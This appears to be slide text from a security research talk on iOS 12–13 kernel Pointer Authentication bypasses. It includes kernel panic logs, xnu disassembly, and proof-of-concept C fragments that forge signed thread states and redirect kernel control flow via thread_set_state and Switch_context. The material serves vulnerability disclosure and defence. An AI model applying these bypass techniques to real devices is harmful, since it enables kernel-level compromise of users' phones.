"panicString" : "panic(cpu 0 caller 0xffffffff01afa36dc): PC alignment
exception from kernel. at pc 0xffffffff041414141, lr 0xffffffff042424242
(saved state: 0xffffffe07e777cb0)\n\t x0: 0x0000000000000000 x1:
0x0001000100010001 x2: 0x0002000200020002 x3:
0x0003000300030003\n\t x4: 0x0004000400040004 x5:
0x0005000500050005 x6: 0x0006000600060006 x7:
0x0007000700070007\n\t x8: 0x0008000800080008 x9:
0x0009000900090009 x10: 0x0010001000100010 x11:
0x0011001100110011\n\t x12: 0x0012001200120012 x13:
0x0013001300130013 x14: 0x0014001400140014 x15:
0x0015001500150015\n\t x16: 0x0016001600160016 x17:
0x0017001700170017 x18: 0x0000000000000000 x19:
0x0019001900190019\n\t x20: 0x0020002000200020 x21:
0x0021002100210021 x22: 0x0022002200220022 x23:
0x0023002300230023\n\t x24: 0x0024002400240024 x25:
0x0025002500250025 x26: 0x0026002600260026 x27:
0x0027002700270027\n\t x28: 0x0028002800280028 fp:
0x0029002900290029 lr: 0xffffffff042424242 sp:
0xffffffe07e778000\n\t pc: 0xffffffff041414141 cpsr: 0x20400304
esr: 0x8a000000 far: 0xffffffff041414141\nDebugger message:
panic\nMemory ID: 0x6\nOS version: 17C54\nKernel version: Darwin Kernel
Version 19.2.0: Mon Nov 4 17:46:45 PST 2019; root:xnu-6153.60.66~39/
RELEASE_ARM64_T8030\nKernel UUID: 25C048C5-E304-3E2E-
BC84-6DF0B4E21F63\niBoot version: iBoot-5540.60.11\nsecure boot?:
YES\nPaniclog version: 13\nKernel slide: 0x0000000012ddc000\nKernel
```

pac_bypass_6 < > pac_bypass_6 > pac > kernel_call.c > No Selection

```

pac_bypass_6
  app
  kernel
  oob_timestamp
  pac
    kernel_call.h
    kernel_call.c
    pac_bypass.h
    pac_bypass.c
  ppl
  Products

64         struct overwrite_state *state3 = (struct overwrite_state *) data;
65         struct overwrite_state *state2 = (struct overwrite_state *) (state3 + 1);
66         struct arm64e_saved_state *state1 = (struct arm64e_saved_state *) (state2 + 1);
67         // Initialize EROP.
68         state1->flavor = ARM_SAVED_STATE64;
69         state1->pc = ADDRESS(BR_X25);
70         state1->cpsr = KERNEL_CPSR_DAIF;
71         state1->lr = ADDRESS(exception_return);
72         state1->x[16] = 0;
73         state1->x[17] = 0;
74         state1->pac_signature = kernel_fake_state_signature;
75         state1->sp = kernel_sp;
76         state1->x[25] = ADDRESS(STR_X9_X3__STR_X8_X4__RET);
77         state1->x[9] = kernel_state + overwrite_offset;
78         state1->x[3] = kernel_state + offsetof(struct arm64e_saved_state, x[0]);
79         state1->x[8] = ADDRESS(memmove);
80         state1->x[4] = kernel_state + offsetof(struct arm64e_saved_state, x[25]);
81         state1->x[21] = kernel_state;
82         state1->x[1] = kernel_state2;
83         state1->x[2] = sizeof(*state2);
84         state2->x[25] = ADDRESS(STD_Y0_Y2_STD_Y8_YA_DFT).

```



```

[+] tfp0: 0x11407
[+] PAC bypass
[+] thread_set_state thread 1 enter
[+] thread_set_state thread 0 enter
[+] Modified preempted thread state
[+] Thread is spinning on the spinning gadget
[+] Set register state for the signing gadget
[+] Thread is spinning on the signing gadget
[+] thread_set_state thread 0 exit
[+] Resumed normal execution
[+] thread_set_state thread 1 exit
[+] PAC bypass done

```

Bypass #6: Interrupts during thread state signing

```
machine_thread_state_initialize  
...  
LDR    X0, [X19,#thread.upcb] ; arm_context  
CBZ    X0, loc_FFFFFFFF007CD2A34  
MOV    W2, #0   ; cpsr  
MOV    X1, #0   ; pc  
MOV    X3, #0   ; lr  
MOV    X4, #0   ; x16  
MOV    X5, #0   ; x17  
-----  
BL     sign_thread_state  
...
```

Interrupts during
thread state signing
are unsafe

Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

```
__bcopyin
...
    MRS      X10, TPIDR_EL1    ;; thread
    ADRL    X3, copyio_error
    ADD     X11, X10, #thread.recover
    MOVK    X11, #0x1E02,LSL#48
    PACIA   X3, X11
    LDR     X11, [X10,#thread.recover]
    STR     X3, [X10,#thread.recover]
...
...
```

Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

`_bcopyin`

```
...
MRS      X10, TPIDR_EL1    ; thread
ADRL    X3, copyio_error
ADD     X11, X10, #thread.recover
MOVK    X11, #0x1E02,LSL#48
PACIA   X3, X11
LDR     X11, [X10,#thread.recover]
STR     X3, [X10,#thread.recover]
...
...
```

An interrupt here would
spill X3 and X11, which
are unprotected

Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated

```
el1_sp0_fiq_vector_long
    MSR    SPSel, #0 ; SP_EL0
    SUB    SP, SP, #0x350
    STP    X0, X1, [SP,#arm_context.x0]
    ...
    STP    X29, X30, [SP,#arm_context.x29]
    ...
    B      fleh_dispatch64
```

```
fleh_dispatch64
    STP    X2, X3, [X0,#arm_context.x2]
    ...
    MOV    X1, X30 ; pc
    MOV    W2, W23 ; cpsr
    LDR    X3, [X0,#arm_context.lr] ; lr
    MOV    X4, X16 ; x16
    MOV    X5, X17 ; x17
    BL    sign_thread_state
```

Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated

```
el1_sp0_fiq_vector_long
    MSR      SPSel, #0 ; SP_ELO
    SUB      SP, SP, #0x350
    STP      X0, X1, [SP,#arm_context.x0]
    ...
    STP      X29, X30, [SP,#arm_context.x29]
    ...
    B       fleh_dispatch64

fleh_dispatch64
    STP      X2, X3, [X0,#arm_context.x2]
    ...
    MOV      X1, X30 ; pc
    MOV      W2, W23 ; cpsr
    LDR      X3, [X0,#arm_context.lr] ; lr
    MOV      X4, X16 ; x16
    MOV      X5, X17 ; x17
    BL       sign_thread_state
```



Bypass #8: LR spilled during exceptions

```
spin_while_zero
► LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

Bypass #8: LR spilled during exceptions

```
spin_while_zero
    LDR    X1, [X0]
    CBZ    X1, spin_while_zero
    RET
```

X0
X1
X2
X3
X4
X5
:
⋮
X29
LR
SP
PC
CPSR
pac_sig

```
ell_sp0_fiq_vector_long
    ...
    STP    X29, X30, [SP,#arm_context.x29]
    ...
    B      fleh_dispatch64

fleh_dispatch64
    ...
    LDR    X3, [X0,#arm_context.lr] ; lr
    ...
    BL    sign_thread_state
    ...
```

Bypass #8: LR spilled during exceptions

`spin_while_zero`

```
LDR X1, [X0]
CBZ X1, spin_while_zero
RET
```

X0
X1
X2
X3
X4
X5
:
X29
LR
SP
PC
CPSR
pac_sig

`ell_sp0_fiq_vector_long`

```
...
STP X29, X30, [SP,#arm_context.x29]
...
```

`fleh_dispatch64`

`fleh_dispatch64`


```
...
LDR X3, [X0,#arm_context.lr] ; lr
...
```

`BL sign_thread_state`

...

Bypass #8: LR spilled during exceptions

```
spin_while_zero
    LDR    X1, [X0]
    CBZ    X1, spin_while_zero
    RET
```




```
ell_sp0_fiq_vector_long
    ...
    STP      X29, X30, [SP,#arm_context.x29]
    ...
    B       fleh_dispatch64

fleh_dispatch64
    ...
    LDR      X3, [X0,#arm_context.lr] ; lr
    ...
    BL       sign_thread_state
    ...
```

Bypass #8: LR spilled during exceptions


```
spin_while_zero
    LDR    X1, [X0]
    CBZ    X1, spin_while_zero
    RET
```




```
ell_sp0_fiq_vector_long
    ...
    STP      X29, X30, [SP,#arm_context.x29]
    ...
    B       fleh_dispatch64

fleh_dispatch64
    ...
    LDR      X3, [X0,#arm_context.lr] ; lr
    ...
    BL      sign_thread_state
    ...
```


Bypass #8: LR spilled during exceptions



Bypass #8: LR spilled during exceptions



Bypass #8: LR spilled during exceptions



Bypass #8: LR spilled during exceptions

```
spin_while_zero
  LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

X0
X1
X2
X3
X4
X5
:
X29
LR
SP
PC
CPSR
pac_sig

```
el1_sp0_fiq_vector_long
  ...
  STP      X29, X30, [SP,#arm_context.x29]
  ...
  B       fleh_dispatch64

fleh_dispatch64
  ...
  LDR      X3, [X0,#arm_context.lr] ; lr
  ...
  BL      sign_thread_state
  ...
```

Signed state with
controlled LR

Bypass #8: LR spilled during exceptions

Reading parameters from
memory before
`sign_thread_state()` is
always insecure

```
ell_sp0_fiq_vector_long
    MSR      SPSel, #0 ; SP_ELO
    SUB      SP, SP, #0x350
    STP      X0, X1, [SP,#arm_context.x0]
    ...
    STP      X29, X30, [SP,#arm_context.x29]
    ...
    B       fleh_dispatch64

fleh_dispatch64
    STP      X2, X3, [X0,#arm_context.x2]
    ...
    MOV      X1, X30 ; pc
    MOV      W2, W23 ; cpsr
    LDR      X3, [X0,#arm_context.lr] ; lr
    MOV      X4, X16 ; x16
    MOV      X5, X17 ; x17
    BL       sign_thread_state
```

Bypass #9: Switch_context() / Idle_context()

```
Switch_context
    CBNZ      X1, have_continuation_no_need_to_save
    LDR       X3, [X0,#thread.kstackptr]
    STP       X16, X17, [X3,#arm_context.x16]
    STP       X19, X20, [X3,#arm_context.x19]
    ...
    STP       X29, X30, [X3,#arm_context.x29]
    ...
    MOV       X0, X3 ; arm_context
    LDR       X1, [X0,#arm_context.pc] ; pc
    LDR       W2, [X0,#arm_context.cpsr] ; cpsr
    MOV       X3, X30 ; lr
    MOV       X4, X16 ; x16
    MOV       X5, X17 ; x17
    BL        sign_thread_state
    ...
    RET
```

Bypass #9: Switch_context() / Idle_context()

Switch_context

```
CBNZ    X1, have_continuation_no_need_to_save
LDR     X3, [X0,#thread.kstackptr]
STP     X16, X17, [X3,#arm_context.x16]
STP     X19, X20, [X3,#arm_context.x19]
...
STP     X29, X30, [X3,#arm_context.x29]
...
MOV     X0, X3 ; arm_context
LDR     X1, [X0,#arm_context.pc] ; pc
LDR     W2, [X0,#arm_context.cpsr] ; cpsr
      ↙
MOV     X3, X30 ; lr
MOV     X4, X16 ; x16
MOV     X5, X17 ; x17
BL      sign_thread_state
...
RET
```

PC and CPSR are read from memory before signing

Bypass #9: Switch_context() / Idle_context()

- `Switch_context()` manages thread states for voluntary kernel context switches
 - PC and CPSR are not needed/used
- While thread is active, write arbitrary PC+CPSR into its saved state blob
- `Switch_context()` is called, reads PC+CPSR, signs them into the saved state
- Use the saved state for an exception return with arbitrary PC+CPSR

There's a bigger issue here...

Design issue

- Fundamentally, there are 2 ways that signed thread states are used
 1. During exception return, via `exception_return`
 2. During kernel thread context switch, via `Switch_context()`
- These uses have different security requirements
 - `exception_return` to EL1 needs PC, CPSR, LR protected
 - `exception_return` to EL0 only needs CPSR protected
 - `Switch_context()` only needs LR protected
- Since thread states can be used in 2 different ways, thread states signed for `Switch_context()` should not be usable by `exception_return` and vice versa
- But there's only one `sign_thread_state()`...
 - Thread states signed for one purpose can be swapped and used for the other

Bypass #9: Switch_context() / Idle_context()

- Fundamental issue: Thread state signed by `Switch_context()` for context switching (which does not care about PC+CPSR) can instead be used for exception returns (which do)
- What about the inverse?

Bypass #10: Swapping user & kernel thread states

- `thread_set_state()` syscall can be used to set registers for user threads
- CPSR is restricted to EL0, but LR is unrestricted
 - Could place a kernel pointer in user LR; it would just fault
- Interacts poorly with `Switch_context()`, which uses LR but ignores CPSR

```
thread_state64_to_saved_state()
{
    verify_thread_state(state, pc,
                        cpsr, lr, x16, x17);
    state->lr = new_lr;
    sign_thread_state(state, pc,
                      cpsr, new_lr, x16, x17);

    new_cpsr = new_state->cpsr & ~0x1F;
    verify_thread_state(state, pc,
                        cpsr, new_lr, x16, x17);
    state->cpsr = new_cpsr;
    sign_thread_state(state, pc,
                      new_cpsr, new_lr, x16, x17);
}
```

Bypass #10: Swapping user & kernel thread states

- Thread A: Block thread A by sending a Mach message to a filled Mach port
- Thread A: Register state is saved by `Switch_context()`
- Thread B: Set `thread_A->user_state = thread_A->kernel_state`
- Thread B: Call `thread_set_state(thread_A)` to set `kernel_state`'s LR to an arbitrary address and sign
- Thread B: Unblock thread A by receiving a Mach message on the filled port
- Thread A: `Switch_context()` to A causes a RET to the arbitrary address

100% reliable and deterministic

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
<code>pac_sig</code>


thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
<code>pac_sig</code>

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B



```
Switch_context  
...  
STP    X29, X30, [X3,#arm_context.x29]  
...  
LDR    X3, [X0,#arm_context.lr]  
...  
MOV    X30, X3  
...  
RET
```

```
thread_block_reason  
...  
BL     Switch_context  
...
```

Kernel

User

mach_msg()

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig


thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

swap_user_to_kernel_state()
thread_set_state()

Thread B



```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A



upcb

kstackptr

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A



upcb

kstackptr

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

- ▶ `swap_user_to_kernel_state()`
- `thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel


User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig



User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

► `swap_user_to_kernel_state()`
`thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel


User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig



User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
► `thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel


User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig



User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
► `thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

Kernel



User

mach_msg()

Thread A

swap_user_to_kernel_state()
thread_set_state()

Thread B



```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B

```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```

thread_block_reason
...
BL     Switch_context
...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig

thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B

```

Switch_context
...
    STP      X29, X30, [X3,#arm_context.x29]
    ...
    LDR      X3, [X0,#arm_context.lr]
    ...
    MOV      X30, X3
    ...
RET

```

```

thread_block_reason
...
    BL       Switch_context
    ...

```

Kernel

User

`mach_msg()`

Thread A

Kernel state

⋮
X23
X24
X25
X26
X27
X28
X29
LR
SP
PC
CPSR
pac_sig



thread A

User state

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

`swap_user_to_kernel_state()`
`thread_set_state()`

Thread B



DEMO

< panic-full-2020-07-13-154101.... 

```
"build" : "iPhone OS 13.3 (17C54)",
"product" : "iPhone12,3",
"kernel" : "Darwin Kernel Version 19.2.0: Mon Nov 4 17:46:45 PST 2019;
root:xnu-6153.60.66~39RELEASE_ARM64_T8030",
"incident" : "16B1713C-3032-43E2-BFC7-9C03FD643DF7",
"crashReporterKey" : "bc51922c773e3ee642f1e730544045c6bd181e49",
"date" : "2020-07-13 15:40:59.61 -0700",
"panicString" : "panic(cpu 1 caller 0xffffffff029d6f6dc): PC alignment
exception from kernel. at pc 0xffffffff042424242, lr 0xffffffff042424242
(saved state: 0xffffffe066ff35a0)\n\t x0: 0xffffffe000d21a90 x1:
0xdbfb5702978191c x2: 0xfeedfacefeedfacf x3:
0x610544894c8839cc\n\t x4: 0xffffffe066c18000 x5:
0x0000000000000000 x6: 0x0000000000000000 x7:
0x0000000000000000\n\t x8: 0x0000000000000001 x9:
0x0000000000000000 x10: 0xffffffe000d21a90 x11:
0xfffffff049133510\n\t x12: 0x0000000000000000 x13:
0x0000000000000001 x14: 0xffffffe000d21a90 x15:
0x0000000000000000\n\t x16: 0x0000000000000000 x17:
0x0000000000000000 x18: 0x000000016fb5b0e0 x19:
0x0000000000000000\n\t x20: 0x0000000000000000 x21:
0x0000000000000000 x22: 0x0000000000000000 x23:
0x0000000000000000\n\t x24: 0x0000000000000000 x25:
0x0000000000000000 x26: 0x0000000000000000 x27:
0x0000000000000000\n\t x28: 0x0000000000000000 fp:
0x0000000000000000 lr: 0xffffffff042424242 sp: 0xffffffe066ff38f0\n\t
pc: 0xffffffff042424242 cpsr: 0xa04003c4 esr: 0x8a000000 far:
0xfffffff042424242\nDebugger message: panic\nMemory ID: 0x6\nOS
version: 17C54\nKernel version: Darwin Kernel Version 19.2.0: Mon Nov 4
17:46:45 PST 2019; root:xnu-6153.60.66~39/
RELEASE_ARM64_T8030\nKernel UUID: 25C048C5-E304-3E2E-
BC84-6DF0B4E21F63\niBoot version: iBoot-5540.60.11\nsecure boot?:
YES\nPaniclog version: 13\nKernel slide: 0x0000000021ba8000\nKernel
```

```
pac_bypass_10 < > pac_bypass_10 app ViewController.m No Selection
pac_bypass_10
└─ app
    └─ ViewController.m M
        67     // Fill the port. Trying to send one more after this will block.
        68     send_message(receive_port);
        69     // Create the thread, which will try to send a message and block.
        70     pthread_t pthread;
        71     pthread_create(&pthread, NULL, pthread_func, NULL);
        72     while (thread_port == 0) {}
        73     uint64_t thread = 0;
        74     kernel_ipc_port_lookup(current_task, thread_port, NULL, NULL, &thread);
        75     printf("thread 0x%x -> 0x%llx\n", thread_port, thread);
        76     // Sign the kernel thread state (kstackptr) via the userspace thread_set_state().
        77     uint64_t upcb = kernel_read64(thread + 0x450);
        78     uint64_t kstackptr = kernel_read64(thread + 0x478);
        79     kernel_write64(thread + 0x450, kstackptr);
        80     uint64_t sp = kernel_read64(kstackptr + 0x100);
        81     arm_thread_state64_t state = { .__lr = 0xffffffff042424242, .__sp = sp };
        82     thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t) &state,
                           ARM_THREAD_STATE64_COUNT);
        83     kernel_write64(thread + 0x450, upcb);
        84     printf("signed kstackptr thread state with kernel LR\n");
        85     printf("thread->kstackptr->lr: %016llx\n", kernel_read64(kstackptr + 0xf8));
        86     // Receive the message to jump to the LR.
        87     printf("resuming thread\n");
        88     receive_message(receive_port);

        ↴
        ↵
```

```
thread start
thread 0xa603 -> 0xffffffffe0070b1540
signed kstackptr thread state with kernel LR
thread->kstackptr->lr: ffffffff042424242
resuming thread
```

Takeaways

iOS kernel PAC bypasses

	iOS 12	iOS 13
PAC signing gadget	1	1
PAC bruteforce gadget	1	
Thread state signing gadget	2	2
Unprotected indirect branch	1	
Implementation bug	1	
Reusing signed states (design issue)		2

More thorough analysis could have helped

- PAC still feels quite ad hoc in iOS 13
 - What is the formal security model?
 - There might be a few fundamental issues remaining
- iOS 12: Apple fixed the POCs, but not the underlying issue
 - Interrupts were explicitly called out as attack vectors
- Important to look at the compiler output
 - Some issues don't appear in the C code
 - Pop the kernel into your favorite disassembler

PAC is still a good mitigation

- PAC as an exploit mitigation is independent of PAC as kernel CFI
- It has been quite successful at limiting exploitability of certain bug classes
 - Force attackers to use better bugs
- Lots of untapped potential in data PAC
 - Promising improvements in iOS 14

Kernel PAC bypasses are not *that* important

- In the world of LPE, a kernel PAC bypass seems like the cherry-on-top
- Perhaps an expensive upcharge when selling an exploit?
 - Used to maintain legacy implants that rely on kernel function calls?
- But kernel CFI is not the last line of defense keeping your device safe
 - Hardening the kernel is still more important for end user security